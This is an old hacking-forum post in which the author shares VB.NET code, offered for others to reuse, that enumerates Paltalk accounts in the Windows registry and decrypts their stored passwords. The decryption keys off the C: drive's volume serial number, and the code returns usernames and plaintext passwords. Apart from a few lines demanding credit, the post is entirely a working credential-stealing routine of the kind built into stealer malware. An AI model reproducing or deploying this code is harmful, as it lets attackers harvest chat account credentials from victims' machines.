Jun 8, 2010 08:38 AM
(This post was last modified: Jun 8, 2010 12:08 PM by pr0t0typ3.)
Hi
I wrote 100 % of the function myself so plz give proper credits
And here it is have fun:
Note: You need to add a reference to the System.Management dll
I know it is a bit messed up but it works
Plz give proper credits!
I wrote 100 % of the function myself so plz give proper credits
And here it is have fun:
Note: You need to add a reference to the System.Management dll
Code
Public Function GetHDSerial() As String
Dim disk As New System.Management.ManagementObject( _
"Win32_LogicalDisk.DeviceID=""C:""")
Dim diskPropertyA As System.Management.PropertyData = _
disk.Properties("VolumeSerialNumber")
Return diskPropertyA.Value.ToString()
End Function
Public Function paltalkscene() As String
' All Credits to pr0t0typ3
' If you remove this message you are a fucking leecher !!!
Try
Dim ser() As Char = GetHDSerial().ToCharArray
Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim out As String = ""
reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
Dim users As String() = reg.GetSubKeyNames()
reg.Close()
For Each s As String In users
Dim t, o, i, x As Integer
Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
Dim chr1 As Char() = pass.ToCharArray
Dim passarr(pass.Length / 4) As String
While t <= UBound(chr1) - 4
If t < UBound(chr1) - 4 Then
passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
End If
t += 4
o += 1
End While
Dim key As String = ""
For Each c As Char In s
key += c
If i <= UBound(ser) Then
key += ser(i)
End If
i = i + 1
Next
key = key & key & key
Dim chr_arr As Char() = key.ToCharArray
Dim blainpass As String = ""
blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
For x = 1 To UBound(passarr)
Dim tempchr As Char
If passarr(x) Is Nothing Then
Else
tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
blainpass += tempchr
End If
Next x
out += "Username: " & s & vbNewLine & "Password: " & blainpass & vbNewLine & vbNewLine
Next
Return out
Catch ex As Exception
Return "---"
End Try
End FunctionPlz give proper credits!



